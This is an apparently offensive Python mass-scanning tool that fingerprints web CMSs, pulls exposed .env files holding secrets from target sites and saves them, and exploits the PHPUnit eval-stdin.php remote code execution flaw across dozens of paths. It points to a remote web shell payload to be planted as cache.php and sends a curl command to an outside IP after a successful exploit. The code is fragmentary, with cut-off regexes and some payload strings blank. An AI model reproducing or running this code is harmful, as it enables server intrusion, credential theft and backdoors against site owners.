#!/usr/bin/env python3 # -*- coding:utf-8 -*- import argparse import logging import multiprocessing import os import re import socket import sys ver=sys.version.split(" ")[0].split(".") sys.path.append('.venv/lib/python'+ver[0]+'.'+ver[1]+'/site-packages/') import traceback import warnings from itertools import islice from multiprocessing.dummy import Pool as ThreadPool from urllib.parse import urlparse import numpy as np import requests import urllib3 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) warnings.simplefilter('ignore', InsecureRequestWarning) DEBUG = False FORCE_SCAN = False TIME_OUT = 10 SHELL_CODE = 'https://raw.githubusercontent.com/rintod/toolol/master/payload.php' SHELL_NAME = 'cache.php' EXTRA_PATH = [] # EXTRA_COMMAND = 'for pid in $(ps -ef | awk \'/sbin|apache|curl/ {print $2}\'); do kill -9 $pid; done' EXTRA_COMMAND = 'curl -sk http://50.19.199.172/index.php?c=1' PATH_ROOT = os.path.dirname(os.path.realpath(__file__)) PATH_RESULT = os.path.join(PATH_ROOT, 'results') PATH_CMS = os.path.join(PATH_ROOT, 'cms') FILE_RESULT = os.path.join(PATH_ROOT, 'result.txt') FILE_RESULT_INDEX_OF = os.path.join(PATH_ROOT, 'result_index_of.txt') ATTACK = [] DEFAULT_HEADER = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', 'referer': 'https://www.google.com/', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'en-US,en;q=0.9', } CMS_LIST = { 'Wordpress': '(wp-content\/(themes|plugins|mu\-plugins)\/[^\n\s]+\.(js|css)|name\=\"generator\"\scontent\=\"WordPress|\/xmlrpc\.php)', 'Joomla': '(var\sJoomla|name\=\"generator[^\n]+Joomla!|\/com\_[a-z0-9]+\/)', 'Drupal': '(\/sites\/default\/files|extend\(Drupal|node_link_text|name\=\"generator[^\n><]+(Drupal\s([^\s,]+)))', 'MediaWiki': '(name\=\"generator[^\n]+MediaWiki|mediawiki\.(user|hidpi|searchSuggest)|Powered\sby\sMediaWiki|mw\.user\.tokens)', 'PrestaShop': '(modules?\/(tmsearch|topbanner|gsnippetsreviews)\/(search|FrontAjaxTopbanner|views)|comparedProductsIds\=\[\]|var\scomparator_max_item|name\=\"generator\"[^\n]+PrestaShop|license@prestashop\.com|@copyright[^\n]+PrestaShop|var\sprestashop_version)', 'ZenCart': '(name\=\"generator[^\n]+(Zen\sCart|The\sZen\sCart|zen\-cart\.com\seCommerce)|products\_id\=[^=]+zenid|zencart\/|main_page=[^=]+cPath\=\d)', 'vBulletin': '(name\=\"generator[^\n]+vBulletin|[^\n]\"vbulletinlink|vb_login_[^\s]+|vbulletin\-core)', 'Discuz': '(name\=\"generator[^\n]+Discuz|discuz_uid|discuz_tips)', 'Magento': '(Mage\.Cookies\.)', 'Invision': '(<([^<]+)?(Invision\sPower)([^>]+)?>|ipb\_[^\n\'=\s]+)', 'OpenCart': '(name\=\"generator[^\n]+OpenCart|index\.php\?route=(common|checkout|account)|catalog\/view\/theme\/[^\s\n]+\.(js|css|png|jpg))', 'phpBB': '(name\=\"generator[^\n]+phpbb|Powered\sby[^\n]+(phpBB|phpbb\.com)|viewtopic\.php\?f=\d+)', 'Whmcs': '(templates\/.*(pwreset|dologin|submitticket|knowledgebase)\.php)', 'Moodle': '(\^moodle-/|moodle-[a-z0-9_-]+)', 'YetAnotherForum': '(\syaf\.controls\.SmartScroller|\syaf_[a-z0-9_-]+)', 'Jive': '(jive([^a-z]+)(app|Onboarding|nitro|rest|rte|ext))', 'Lithium': '(LITHIUM\.(DEBUG|Loader|Auth|Components|Css|useCheckOnline|RenderedScripts))', 'Esportsify': 'esportsify\.com/([^.]+).(js|css)', 'FluxBB': '(
([^\n<>]+)<\/\s?title\s?>", raw) if match: result.update(message=str(match.group(1)), ready=True) else: result.update(message=req.reason, ready=True) except ( requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout, requests.exceptions.SSLError, requests.exceptions.ConnectionError, AttributeError, ConnectionRefusedError, socket.timeout, urllib3.exceptions.ReadTimeoutError, urllib3.exceptions.DecodeError, requests.exceptions.ContentDecodingError): result.update(message="Can't connect or Timeout", ready=False) except KeyboardInterrupt: raise KeyboardInterrupt except Exception as error: logging.exception( ''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) pass finally: if result.get('ready') and result.get('cms') == 'Unknown': result_file = os.path.join(PATH_CMS, 'Unknown.list') try: with open(result_file, 'a+') as a: a.seek(0, os.SEEK_END) a.write('%s\n' % url) a.close() except: pass if result.get('ready') and re.search(r"^Index\sof\s\/", result.get("message")): result_index_of = os.path.join(PATH_ROOT, 'index_of.list') try: with open(result_index_of, 'a+') as a: a.seek(0, os.SEEK_END) a.write('%s\n' % url) a.close() except: pass #add parse index of directory try: # print(raw) pattern = re.escape(REGEX_INDEX_OF) # print(type(pattern), pattern) matches = re.findall(r'%s' % REGEX_INDEX_OF.lower(), raw.lower()) # print(type(matches), matches) if matches: try: with open(FILE_RESULT_INDEX_OF, 'a+') as a: a.seek(0, os.SEEK_END) a.write('\n===============================%s===============================\n' % url) unique_matches = set() for match in matches: unique_matches.add(match[0]) for unique in unique_matches: a.write(unique + '\n') a.close() except: print('error 2') pass except: print('error 1') pass return result def scan_env(url, force=False): result_env = {'vuln': None, 'message': 'Unknown', 'content': None} if not os.path.exists(PATH_RESULT): os.mkdir(PATH_RESULT) parsed = urlparse(url) if parsed.scheme: target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) else: target = 'http://{}'.format(url) vuln_paths = ['.env', '.remote', '.local', '.production'] RHOST = urlparse(target).netloc FILE_RESULT_ENV = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip()) if not os.path.isfile(FILE_RESULT_ENV) or force: try: http = requests.session() for vuln_path in vuln_paths: try: url_bug = '/'.join([target, vuln_path]) resp = http.get(url_bug, timeout=15, verify=False, allow_redirects=True, headers=DEFAULT_HEADER) raw = resp.text result_env.update(content=raw) raw_vuln = re.compile(r"([A-Z]+_[A-Z]+\s?=[^\n]+)").search(raw) vuln_env = not re.search(r"(\?>|<[^\n]+>)", raw, re.MULTILINE) and raw_vuln if vuln_env: if DEBUG: print('%s\n' % raw, end='') message = raw_vuln.group(1).strip() result_env.update(message=message, vuln=True) with open(FILE_RESULT_ENV, 'a+') as w: w.write(resp.text) w.close() with open(FILE_RESULT, 'a+') as a: a.seek(0, os.SEEK_END) a.write('\n===============================%s===============================\n' % RHOST) a.write(raw) a.close() else: message = '%d : %s' % (resp.status_code, resp.reason) result_env.update(message=message) except KeyboardInterrupt: raise KeyboardInterrupt except: pass finally: if result_env.get('vuln'): break except KeyboardInterrupt: raise KeyboardInterrupt except Exception as error: logging.exception( ''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) pass return result_env def scan_phpunit(url, extra_path=[]): result_phpunit = {'vuln': None, 'message': 'Unknown'} payloads = { 'test': '', 'default': '', 'laravel': '', 'drupal': '', } vuln_paths = [ "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php", "/vendor/phpunit/src/Util/PHP/eval-stdin.php", "/vendor/phpunit/Util/PHP/eval-stdin.php", "/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/phpunit/phpunit/Util/PHP/eval-stdin.php", "/phpunit/src/Util/PHP/eval-stdin.php", "/phpunit/Util/PHP/eval-stdin.php", "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php", "/lib/phpunit/src/Util/PHP/eval-stdin.php", "/lib/phpunit/Util/PHP/eval-stdin.php", "/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", ] if not os.path.exists(PATH_RESULT): os.mkdir(PATH_RESULT) parsed = urlparse(url) if parsed.scheme: target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) else: target = 'http://{}'.format(url) vuln_paths = np.unique(vuln_paths + extra_path) RHOST = urlparse(target).netloc payloads = {k: v.replace('{{shell}}', SHELL_CODE).replace('{{shellname}}', SHELL_NAME) for k, v in payloads.items()} payload_test = payloads.get('test') payload = payloads.get('default') FILE_RESULT_RCE = os.path.join(PATH_ROOT, 'result-rce.txt') FILE_FAIL_RCE = os.path.join(PATH_ROOT, 'fail-rce.txt') FILE_RESULT_HOST = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip()) try: http = requests.session() for rce in vuln_paths: rce_bug = '/'.join([target, rce]) extra_cmd = '' % EXTRA_COMMAND try: if DEBUG: print('[Exploiting] %s\n' % rce_bug, end='') res_cek = http.post(rce_bug, timeout=5, verify=False, allow_redirects=False, headers=DEFAULT_HEADER, data=payload_test) raw_cek = res_cek.content.decode(encoding='utf-8', errors='ignore') rce_vuln = 'RCE_VULN' in raw_cek and not re.search(r"(\?>|<[^\n]+>)", raw_cek, re.MULTILINE) if rce_vuln: kernel = raw_cek.split('|')[-1] result_phpunit.update(message=kernel, vuln=True) try: if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': payload = payloads.get('laravel') elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': payload = payloads.get('drupal') res_rce = http.post(rce_bug, timeout=TIME_OUT, verify=False, allow_redirects=False, headers=DEFAULT_HEADER, data=payload) rce_raw = res_rce.content.decode(encoding='utf-8', errors='ignore') if 'RCE_VULN' in rce_raw: with open(FILE_RESULT_HOST, 'a+') as y: y.write('%s\n' % rce_bug) y.close() with open(FILE_RESULT_RCE, 'a+') as a: if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': a.write('%s\n' % re.sub(r"vendor\/[^\n]+", 'storage/framework/%s' % SHELL_NAME, rce_bug)) elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': a.write('%s\n' % re.sub(r"\/sites/all\/[^\n]+", '/sites/default/files//%s' % SHELL_NAME, rce_bug)) else: a.write('%s\n' % rce_bug.replace("eval-stdin.php", SHELL_NAME)) a.close() try: http.post(rce_bug, timeout=TIME_OUT, verify=False, allow_redirects=False, headers=DEFAULT_HEADER, data=extra_cmd) except: pass else: with open(FILE_RESULT_HOST, 'a+') as a: a.write('%s\n' % rce_bug) a.close() with open(FILE_FAIL_RCE, 'a+') as x: x.write('%s\n' % rce_bug) x.close() try: http.post(rce_bug, timeout=TIME_OUT, verify=False, allow_redirects=False, headers=DEFAULT_HEADER, data=extra_cmd) except: pass except: with open(FILE_RESULT_HOST, 'a+') as a: a.write('%s\n' % rce_bug) a.close() with open(FILE_FAIL_RCE, 'a+') as x: x.write('%s\n' % rce_bug) x.close() pass else: match = re.search(r"<\s?title\s?>([^\n<>]+)<\/\s?title\s?>", raw_cek) if match: result_phpunit.update(message=str(match.group(1)), ready=True) else: result_phpunit.update(message=res_cek.reason, ready=True) except KeyboardInterrupt: raise KeyboardInterrupt except: pass finally: if result_phpunit.get('vuln'): break except KeyboardInterrupt: raise KeyboardInterrupt except Exception as error: logging.exception(''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) pass return result_phpunit def do_check(url, attk=['all'], extra_path=[], force=False): parsed = urlparse(url) if parsed.scheme: target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) else: target = 'http://{}'.format(url) AHOST = urlparse(target).netloc try: raw_check = check_url(target) cms = raw_check.get('cms') if raw_check.get('ready'): print("[!]%s : %s ~ %s" % (AHOST, cms, raw_check.get('message').strip())) if any(ev in 'env' for ev in attk) or any(ev in 'all' for ev in attk): env = scan_env(target, force) if bool(env.get('vuln')): print(style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW(cms) + style.RESET(' : ') + style.RESET(env.get('message'))) else: print(style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW( cms) + style.RESET(' : ') + style.RESET(env.get('message'))) if any(ev in 'phpunit' for ev in attk) or any(ev in 'all' for ev in attk): phpunit = scan_phpunit(target, extra_path) if bool(phpunit.get('vuln')): print( style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW(cms) + style.RESET(' : ') + style.RESET( phpunit.get('message'))) else: print( style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW( cms) + style.RESET(' : ') + style.RESET(phpunit.get('message'))) else: print(style.RED('[x] ') + style.BLUE(AHOST) + style.YELLOW(cms) + style.RESET(' : ') + style.RESET( raw_check.get('message'))) except KeyboardInterrupt: raise KeyboardInterrupt except Exception as ex: print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__))) def support_format(str_ip): parsed = urlparse(str_ip) if parsed.scheme: target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', clean_netloc(parsed.netloc)) elif not parsed.scheme and parsed.netloc: target = 'http://{}'.format(clean_netloc(parsed.netloc)) else: target = 'http://{}'.format(clean_netloc(str_ip)) return target.replace('\r', '').replace('\n', '') def clean_netloc(netloc): return re.sub(r"^(cpanel|www|whm|webmail|mail|webdisk|dc-[0-9]+)\.", "", netloc) def is_valid_ip(ip_str): reg = r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" if re.match(reg, ip_str): return True else: return False def is_valid_hostname(hostname): if hostname[-1] == ".": hostname = hostname[:-1] if len(hostname) > 253: return False labels = hostname.split(".") if re.match(r"[0-9]+$", labels[-1]): return False allowed = re.compile(r"(?!-)[a-z0-9-]{1,63}(?